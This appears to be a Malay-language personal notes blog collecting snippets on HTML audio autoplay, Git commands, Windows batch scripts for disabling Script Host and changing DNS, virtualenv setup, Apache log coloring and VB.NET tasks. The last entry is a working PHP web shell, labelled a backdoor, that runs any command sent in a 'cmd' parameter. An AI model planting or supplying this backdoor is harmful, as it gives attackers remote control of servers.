Hanya perlu tambah kod berikut untuk memastikan audio dimainkan setiap kali website/page tersebut dilawati:
<audio src="http://www.milliondollarsounds.com/resources/Furniture.mp3" autoplay="autoplay" style="display:none"></audio>
atau dalam bentuk lain:
<audio controls>
<source src="horse.ogg" type="audio/ogg">
<source src="horse.mp3" type="audio/mpeg">
Your browser does not support the audio tag.
</audio>
Untuk kawal volume menggunakan attribut sedia ada:
<audio controls volume="0.7">
<source src="http://www.milliondollarsounds.com/resources/Furniture.mp3">
You will see this text if native audio playback is not supported.
</audio>
Untuk kawal volume dengan Javascript:
<audio autoplay id="audiogua">
<source src="http://www.milliondollarsounds.com/resources/Furniture.mp3">
</audio>
<script>
var audio = document.getElementById("audiogua");
audio.volume = 0.7;
</script>
Pertama kali untuk mengisytiharkan folder pada Git:
git init
Pertama kali untuk memasukkan email dan nama:
git config --global user.name "John Smooth"
git config --global user.email "youremail@here"
Mulakan memasukkan kod untuk pertama kali:
git clone https://<USERNAME>@bitbucket.org/<USERNAME>/ujian.git
cd ujian
echo "# My project's README" >> README.md
git add README.md
git commit -m "Initial commit"
git push -u origin master
Memasukkan kod yang sedia ada ke Git untuk pertama kali:
git remote add origin https://<USERNAME>bitbucket.org/<USERNAME>/ujian.git
git push -u origin master
Menggunakan pull untuk mendapatkan kod terkini:
git pull (pada current directory)
Mengecualikan fail-fail dan folder tertentu:
1. Buat satu fail bernama
.gitignore
2. Masukkan nama fail, folder atau pattern. Letakkan nama-nama tersebut disetiap barisan.
3. Simpan.
Untuk mengelakkan sebarang kesilapan dengan tidak sengaja melaksanakan script VBS, boleh lah mematikan fungsi tersebut menggunakan Windows batch script berikut:
REM -- A windows batch script used to disabled Windows Script Host on Windows registry.
REM -- Feel free to use & distribute.
REM -- Usage:
REM Save this script as whatever_name.bat and run as administrator.
@echo off
set add_hk=SOFTWARE\Microsoft\Windows Script Host\Settings
reg query "HKLM\%add_hk%" /v Enabled > nul 2> nul
if %errorlevel% equ 0 (
echo [+] Windows Script Host already disabled at HKLM. Skipped.
) else (
reg add "HKLM\%add_hk%" /v Enabled /t REG_DWORD /d 0 > nul 2> nul
if ERRORLEVEL 1 (
echo [-] ERROR: Access denied. Check your permission.
) else (
echo [+] WSH successfully disabled at HKLM.
)
)
reg query "HKCU\%add_hk%" /v Enabled > nul 2> nul
if %errorlevel% equ 0 (
echo [+] Windows Script Host already disabled HKCU. Skipped.
) else (
reg add "HKCU\%add_hk%" /v Enabled /t REG_DWORD /d 0 > nul 2> nul
if ERRORLEVEL 1 (
echo [-] ERROR: Access denied. Check your permission.
) else (
echo [+] WSH successfully disabled at HKCU.
)
)
echo [+] FINISHED!
Pastikan anda laksanakan skrip ini dengan mode Administrator.
Rujukan:
http://pastebin.com/6Sf9i8Jv
Adakalanya sistem pentadbir memerlukan kerja-kerja penukaran IP DNS dengan cepat tanpa perlu navigasi ke lokasi TCP Properties. Jadi penggunaan skrip adalah antara penyelesaian.
Berikut ialah skrip Windows Batch:
@echo off
:: Tukar alamat IP DNS berikut mengikut kesesuaian.
set DNS1=8.8.8.8
set DNS2=8.8.4.4
for /f "tokens=1,2,3*" %%i in ('netsh int show interface') do (
if %%i equ Enabled (
echo Changing "%%l" : %DNS1% + %DNS2%
netsh int ipv4 set dns name="%%l" static %DNS1% primary validate=no
netsh int ipv4 add dns name="%%l" %DNS2% index=2 validate=no
)
)
ipconfig /flushdns
:EOF
Cara-caranya:
1. Buka notepad
2. Copy dan paste skrip diatas.
3. Simpan sebagai apa-apa nama dengan .bat dihujung fail. Contoh tetapandns.bat.
4. Dwi-klik atau guna command line untuk laksanakan skrip ini.
NOTA: Skrip ini hanya berguna untuk pengguna Windows sahaja.
Nota: Penulisan ini untuk kegunaan nota saya sahaja.
Pertama sekali, klon mana-mana projek dari Git repository:
Dicadang gunakan virtualenvwrapper untuk menguruskan virtualenv. Boleh juga buatkan virtualenv sendiri berasingan seperti dibawah:
$ virtualenv .venv
$ source .venv/bin/activate
(.venv)$
Seterusnya, pasang projek dependencies:
(.venv)$ pip install -e .
Selepas itu, Bower package manager (bower.io) diperlukan untuk memuat turun project dependencies tambahan.
(.venv)$ bower update --production
Periksa samada projek anda telah siap dipasang dengan betul.
(.venv)$ projekbaik --help
Usage: projekbaik [OPTIONS] COMMAND [ARGS]...
Projek Baik launcher and management script
Options:
--help Show this message and exit.
Commands:
runserver Initialize and run Projek Baik.
Untuk memulakan pembangunan pelayan web, gunakan arahan berikut:
(.venv)$ projekbaik runserver --debug
Projek Baik 0.1-dev starting up...
Listening on http://127.0.0.1:5000/
Hit Ctrl-C to quit.
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
* Restarting with stat
Projek Baik 0.1-dev starting up...
Listening on http://127.0.0.1:5000/
Hit Ctrl-C to quit.
Sesetengah sistem pentadbir mungkin lebih menggemari memantau access.log apache mereka menggunakan command line. Tetapi dengan sekadar command line hitam putih sahaja mungkin tidak mencukupi. Dengan menggunakan skrip bash berikut sedikit sebanyak dapat membezakan request yang diterima oleh apache:
kamil$ tail -f /var/log/apache2/access.log \
| ack --flush --passthru --color --color-match=green "^.* 200 .*" \
| ack --flush --passthru --color --color-match=yellow "^.* 302 .*" \
| ack --flush --passthru --color --color-match=red "^.* 404 .*"P
Salin kod diatas dan simpan sebagai contoh
colortail.sh dan tukar attribut untuk membolehkan fail execute.
Contoh gambar diatas menunjukan warna hijau bagi request code 200. Sekiranya ada request code berlainan nombor, anda boleh tentukan warna berdasarkan skrip tersebut.
Baru saja install Visual Studio 2012. Sebelum ni guna VS2008 boleh dikatakan jauh berbeza teknologi programming .Net nya. Bermula dari VS2010 dan keatas programming untuk multi-core CPU sudah boleh dibangunkan.
Asas programming multi-core ni tidak lah payah yang disangkakan dengan bahasa programming & framework yang moden semua benda boleh buat.
Contoh kod yang digunakan:
Sub Main()
Dim task1 As Task
Dim task2 As Task
Dim task3 As Task
task1 = Task.Factory.StartNew(AddressOf testing1)
task2 = Task.Factory.StartNew(AddressOf testing2)
task3 = Task.Factory.StartNew(AddressOf testing3)
Task.WaitAll(task1, task2, task3)
End Sub
Sub testing1()
Do
a = a + 1
Loop
End Sub
...
Dalam ujian ini Intel i7 Quad Core with HT digunakan. Berikut ialah hasil ujian menggunakan Task class:
Graf dari Task Manager menunjukkan kerja-kerja dari 3 function telah disebar ke CPU yang lainnya.
Peratusan proses kerja-kerja dari 3 function dummy tersebut disebarkan ke CPU lainnya. Jika dibandingkan dengan memanggil 1 function sahaja penggunaan 1 core adalah 100% (Seperti gambarajah dibawah).
Kadang-kadang benda yang kecil pun tak selalu ingat. Jadi elok tinggalkan nota untuk rujukan akan datang. Berikut ialah PHP backdoor shell yang ringkas.
<?php
if ( isset($_REQUEST['cmd'])) {
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>